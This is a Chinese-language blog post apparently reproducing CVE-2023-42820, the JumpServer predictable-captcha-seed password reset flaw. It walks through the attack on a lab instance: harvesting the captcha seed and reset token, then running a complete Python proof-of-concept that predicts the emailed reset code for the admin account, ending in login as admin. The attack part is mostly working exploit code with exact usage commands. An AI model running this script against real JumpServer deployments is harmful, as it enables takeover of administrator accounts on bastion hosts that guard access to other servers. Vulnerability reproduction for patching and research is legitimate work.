【漏洞复现】JumpServer伪随机密码重置漏洞[CVE-2023-42820]
Jumperver是飞致云公司(https://www.jumpserver.org)旗下开源的堡垒机,是国内最受欢迎的开源堡垒机之一。小编也经常使用,也介绍给一些运维的客户使用,简直是运维神器。
2023年9月爆出CVE-2023-42820造成任意用户密码重置漏洞。大概就是Jumpserver的一个第三方库django-simple-captcha中使用random函数的生成伪随机数,random函数通过一个初始化的随机种子来进行生成随机数,但是使用的初始化种子的值不变的话,那么后续生成的随机数的值和顺便也不会变,导致验证码随机字符串code可以被推测出来。
影响范围:版本v2.24 - v3.6.4
靶场搭建:各位同学可以自行搭建vulnhub的靶场,下载网址 https://github.com/vulhub/vulhub/tree/master/jumpserver/CVE-2023-42820
,具体的搭建可以网上搜一下教程。由于我经常使用该堡垒机,因此可以直接使用之前搭建好的真实环境进行复现。
1.打开JumpServer登录页面,点击【忘记密码】

2.右键验证码图标,选择【在新标签页中打开图片】


http://192.168.1.254:60080/core/auth/captcha/image/edab219645a70ca33cb84893878d6fa1e4f33e64/
3.刷新验证码,用户名admin提交 跳转下一页面

4.admin的默认邮箱是admin@mycomany.com,记下URL上的token值

http://192.168.1.254:60080/core/auth/password/forgot/?token=Le0Idid3ohyscV8Ui8pG9eIdiVCwts31wCgT
5.使用大佬写好的poc去推算发给邮箱的验证码。大佬的poc代码如下:
点击查看代码
import requests\
import logging\
import sys\
import random\
import string\
import argparse\
from urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\
string\_punctuation = '!#$%&()\*+,-.:;<=>?@\[]^\_\~'
def random\_string(length: int, lower=True, upper=True, digit=True, special\_char=False):\
args\_names = \['lower', 'upper', 'digit', 'special\_char']\
args\_values = \[lower, upper, digit, special\_char]\
args\_string = \[string.ascii\_lowercase, string.ascii\_uppercase, string.digits, string\_punctuation]\
args\_string\_map = dict(zip(args\_names, args\_string))\
kwargs = dict(zip(args\_names, args\_values))\
kwargs\_keys = list(kwargs.keys())\
kwargs\_values = list(kwargs.values())\
args\_true\_count = len(\[i for i in kwargs\_values if i])\
assert any(kwargs\_values), f'Parameters {kwargs\_keys} must have at least one \`True\`'\
assert length >= args\_true\_count, f'Expected length >= {args\_true\_count}, bug got {length}'
can\_startswith\_special\_char = args\_true\_count == 1 and special\_char
chars = ''.join(\[args\_string\_map\[k] for k, v in kwargs.items() if v])
while True:\
password = list(random.choice(chars) for i in range(length))\
for k, v in kwargs.items():\
if v and not (set(password) & set(args\_string\_map\[k])):\
\# 没有包含指定的字符, retry\
break\
else:\
if not can\_startswith\_special\_char and password\[0] in args\_string\_map\['special\_char']:\
\# 首位不能为特殊字符, retry\
continue\
else:\
\# 满足要求终止 while 循环\
break
password = ''.join(password)\
return password
def nop\_random(seed: str):\
random.seed(seed)\
for i in range(4):\
random.randrange(-35, 35)
for p in range(int(180 \* 38 \* 0.1)):\
random.randint(0, 180)\
random.randint(0, 38)
def fix\_seed(target: str, seed: str):\
def \_request(i: int, u: str):\
logging.info('send %d request to %s', i, u)\
response = requests.get(u, timeout=5)\
assert response.status\_code == 200\
assert response.headers\['Content-Type'] == 'image/png'
url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')\
for idx in range(30):\
\_request(idx, url)
def send\_code(target: str, email: str, reset\_token: str):\
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset\_token)\
response = requests.post(url, json={\
'email': email,\
'sms': '',\
'form\_type': 'email',\
}, allow\_redirects=False)\
assert response.status\_code == 200\
logging.info("send code headers: %r response: %r", response.headers, response.text)
def main(target: str, email: str, seed: str, token: str):\
fix\_seed(target, seed)\
nop\_random(seed)\
send\_code(target, email, token)\
code = random\_string(6, lower=False, upper=False)\
logging.info("your code is %s", code)
if \_\_name\_\_ == "\_\_main\_\_":\
parser = argparse.ArgumentParser(description='Process some integers.')\
parser.add\_argument('-t', '--target', type=str, required=True, help='target url')\
parser.add\_argument('--email', type=str, required=True, help='account email')\
parser.add\_argument('--seed', type=str, required=True, help='seed from captcha url')\
parser.add\_argument('--token', type=str, required=True, help='account reset token')
args = parser.parse\_args()\
main(args.target, args.email, args.seed, args.token)
自己搞成.py哈
然后使用格式
python poc.py -t http://ip:port --email admin@mycomany.com --seed [第一张验证码图片的值] --token [后面token的值]
像这样:python poc.py -t http://192.168.1.254:60080 --email admin@mycomany.com --seed edab219645a70ca33cb84893878d6fa1e4f33e64 --token Le0Idid3ohyscV8Ui8pG9eIdiVCwts31wCgT
5.执行POC,推算code

6.然后再输入推算出来的验证码,提交。哎!!!这不是就可以了嘛


7.成功登陆


浙公网安备 33010602011771号